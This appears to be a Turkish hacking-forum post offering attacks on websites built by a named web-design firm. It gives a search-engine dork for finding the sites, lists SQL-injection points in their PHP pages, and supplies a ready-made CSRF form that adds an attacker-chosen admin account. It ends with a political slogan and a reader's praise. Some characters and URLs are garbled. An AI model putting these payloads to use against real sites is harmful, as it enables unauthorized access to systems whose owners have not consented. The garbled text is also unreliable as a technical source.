Magnolia Development Group un tasarımını yaptığı sitelerde sql injection ve CSRF açıkları varsitelere her tasarladıkları sitenin altına ekledikleri yazıyı aratarak bulabilirsiniz intext:"site by magnolia development group" Sql injection açıkları # http:// /project_detail. php?id='1 # http:// /project_detail. php?id= # http:// /gallery_detail. php?id='1 # http:// /gallery_detail. php?id= # http:// / . php? ='1 # http:// / . php? = birde CSRF olarak Yeni admin ekleme açığı aşağıdaki kodları isteğe gre düzenlenebilir. admin girişleri siteadı.com/admin vs vs <html> <script language="javascript"> function Publish function Unpublish function Delete </script> </head> <form action="http://site.com/admin/user_act. php" method="post" name="formdetail" id="formdetail"> <input type="hidden" name="user_id" value="" /> <input type="hidden" name="action" value="addnew" /> <table border="0" align="center" cellpadding="3" cellspacing="0"> <input name="user_name" type="text" id="user_name" value="admin"/> <input name="user_pwd" type="text" id="user_pwd" value="123456"/> <input name="user_email" type="text" id="user_email" value="admin@admin"/> <input type="submit" name="Submit" value="SAVE"/> <html> Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve nlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dnemdir kısa vadeli ve greceli yenilgilerden geçer.

serdarım yine moddasın eline sağlık :)